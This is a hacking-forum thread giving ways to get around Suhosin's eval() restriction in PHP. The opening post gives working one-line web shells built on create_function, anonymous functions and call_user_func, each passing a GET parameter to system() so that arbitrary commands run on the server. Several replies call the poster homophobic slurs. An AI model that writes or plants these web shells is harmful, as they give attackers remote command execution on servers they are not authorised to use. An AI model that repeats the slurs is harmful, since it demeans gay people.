[Phizo]

Greetings.
This isn't a tutorial on how to circumvent Suhosin completely, but rather a few things to try on a terribly configured implementation of Suhosin.
I've tested and ensured the below methods work. You can see my post confirming it here.

According to Suhosin's configuration documentation, suhosin.executor.disable_eval is set to "Off" by default. You would be lucky to come across a box configured like that, though.
What I'm about to provide shouldn't be looked upon as a definitive list of methods to circumvent the restriction of eval(); I encourage you all to research and discover more methods.
By default, suhosin.executor.func.blacklist (and whitelist) is empty. For those of you who have the Suhosin extension or patch installed, I would advise you to take notice of this thread and apply changes to your configuration if necessary.

First up, which some of you are already aware of, is using create_function() to create lambda-style functions.
It's supported in PHP versions 4 through to 4.0.1, as well as 5 and above.

PHP Code


<?php 
$eval = create_function(null, $_GET['cmd']);   // ?cmd=system('id');
$eval();  // function () { system('id'); } would be how it works behind the scenes, I would imagine.

// If you want to look like a really cool leet hacker in front of your buddies:
<?=($x=create_function(null,$_GET[a]))?$x():0;?>

Whilst create_function() is great and all, it is easily able to be appended to Suhosin's function blacklist.
You can create your own lambda-style function without the need of create_function()'s helping hand. I'm actually unsure how this would be restricted by Suhosin without causing issues to non-malicious PHP code.

PHP Code


<?php 
$eval = function ($func, $arg) { $func($arg); };    // Append more arguments if necessary.
$eval('system', 'id');    // $eval($_GET['func'], $_GET['arg']);  ->  ?func=system&arg=id

// Hey! Look at me! I'm cool!
// Okay, it does have purposes to write it like this; submitting HTTP requests through a raw TCP socket (Content-Length for PUT method, for example.):
<?=($x=function($a,$b){$a($b);})?$x($_GET[a],$_GET[b]):0;?>

That's it for the lamba-style functions; we will now be moving onto callback functions. I'll be providing you with two.
call_user_func() was introduced in PHP version 4, and is still supported in version 5 and above.
call_user_func_array() was also introduced in PHP version 4. It's only supported until version 4.0.4, but makes a comeback in version 5.

PHP Code


<?php 
// More than likely will have the other blacklisted if the other is, but you never know!

$eval = call_user_func($_GET['func'], $_GET['arg']);    // ?func=system&arg=id  ($mixedvar; can append multiple arguments for other functions.)
$eval;  // Returns the return value of the callback - use echo for functions that only return.

$eval = call_user_func_array($_GET['func'], array($_GET['arg']));    // ?func=system&arg=id  (can append multiple arguments within the array.)
$eval;  // Returns the return value of the callback - use echo for functions that only return.

// I is big, bad black-hat hacker. ◖(◣☩◢)◗
<?=($x=call_user_func($_GET[a],$_GET[b]))?$x:0?>
<?=($x=call_user_func_array($_GET[a],array($_GET[b])))?$x:0?>

That's all I've discovered and played with for the past couple of hours.
It honestly took me longer to write this than come up with them. I'm hoping people will look themselves and discover other ways of doing it. So, don't be lazy and go look yourself.
I have no doubt that there are many more methods, but it's getting too late here to continue for today.

Oh, and if any of you suggest preg_replace()'s /e modified, I will personally slap you in the face.

[SoLong]

Or you could just use Fuhosin, how about that?
A+ tutorial as always, OP is gay as fuck too.

[TheGrayAviator]

OP is gay as fuck too.

I don't know what you mean by that. But I can certainly assure, that's one hell of a tutorial. Great work buddy, keep it up.

[SoLong]

I don't know what you mean by that. But I can certainly assure, that's one hell of a tutorial. Great work buddy, keep it up.

I'm trying to say Phizo is homosexually oriented.

[engrαze]

I see Phizo remains a f­­­agg­ot. A cool f­­­ag­­got, though. Like Freddie Mercury.

Great guide.

[Phizo]

Or you could just use Fuhosin, how about that?
A+ tutorial as always, OP is gay as fuck too.

Sure, let's not try to be unique and learn ourselves; let's use someone else's shell.
You're gay.

Thanks for the replies, everyone.
Except for puli.
Spoiler (Click to View)
<3

[Suved]

Nice tuorial
Thanks
anyone tested it?if yes post your result.

[deiski]

Very nice as always, thread design looks great.

[Phizo]

Very nice as always, thread design looks great.

Thank you.
192 views and 7 replies. Why am I not surprised?

[cheatson]

Interesting tutorial, thanks for the share. I don't have it installed either, but have you considered preg_replace() with the e modifier tho?

[Zixem]

PHP Code


<?php 
// I is big, bad black-hat hacker. ◖(◣☩◢)◗ 


someone, help me breath.
great thread Phizy :3 good to see that you're still active.

zixem is my true love

finally, you bought a leet membership.

[cheatson]

finally, you bought a leet membership.

lol courtesy of apple jack 🎉

[Phizo]

have you considered preg_replace() with the e modifier tho?

Imagine me smiling psychopathically.

PHP Code


<?php 
// I is big, bad black-hat hacker. ◖(◣☩◢)◗ 


someone, help me breath.
great thread Phizy :3 good to see that you're still active.

I'm glad I'm not the only one that giggles at my own lame humor.
Yes, I'm still breathing. ^~^

[Illicit]

Seems like a good tutorial, Im surprised the programmers didnt realize they had unsanitized the variables.
Anyway thanks, nice find .

[Phizo]

Seems like a good tutorial, Im surprised the programmers didnt realize they had sanitized the variables.
Anyway thanks, nice find .

I'm unsure what that your statement is implying, as this has nothing to do with variables being sanitized.
Thank you for your kind words.